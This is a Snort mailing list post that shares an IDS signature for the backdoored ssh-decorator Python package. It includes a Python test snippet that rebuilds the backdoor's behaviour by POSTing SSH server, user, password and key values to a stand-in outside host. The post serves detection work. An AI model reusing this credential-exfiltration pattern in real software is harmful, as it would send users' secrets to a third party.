Snort mailing list archives

backdoored ssh-decorator package


From: Y M via Snort-sigs <snort-sigs () lists snort org>
Date: Wed, 9 May 2018 20:03:51 +0000

Hi,

The below rule is derived from the reference. Simple testing with python is show below as illustrated in the screenshot 
in the reference.

# --------------------
# Date: 2018-05-09
# Title: backdoored ssh-decorator package
# Tests: research, syntax only
# Reference: https://www.reddit.com/r/Python/comments/8hvzja/backdoor_in_sshdecorator_package

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC backdoored ssh-decorator package outbound 
connection"; flow:to_server,established; content:"/index.php"; fast_pattern:only; http_uri; content:"pkey="; http_uri; 
content:"port="; http_uri; content:"server="; http_uri; content:"password="; http_uri; content:"user="; http_uri; 
metadata:ruleset community, service http; 
reference:url,https://www.reddit.com/r/Python/comments/8hvzja/backdoor_in_sshdecorator_package; 
classtype:trojan-activity; sid:8000050; rev:1;)

import urllib
from urllib.request import urlopen
from urllib.parse import urlencode
log = {"server": "test", "port":"22", "pkey":"random", "password":"password", "user":"user"}
post = bytes(urlencode(log), "utf-8")
handler = urlopen("http://examplenxdomain.cf";, post)
print(log)
{'port': '22', 'user': 'user', 'password': 'password', 'server': 'test', 'pkey': 'random'}
print(post)
b'port=22&user=user&password=password&server=test&pkey=random'

Thanks.
YM
_______________________________________________
Snort-sigs mailing list
Snort-sigs () lists snort org
https://lists.snort.org/mailman/listinfo/snort-sigs

Please visit http://blog.snort.org for the latest news about Snort!

Please follow these rules: https://snort.org/faq/what-is-the-mailing-list-etiquette

Visit the Snort.org to subscribe to the official Snort ruleset, make sure to stay up to date to catch the most <a 
href=" https://snort.org/downloads/#rule-downloads";>emerging threats</a>!

Current thread: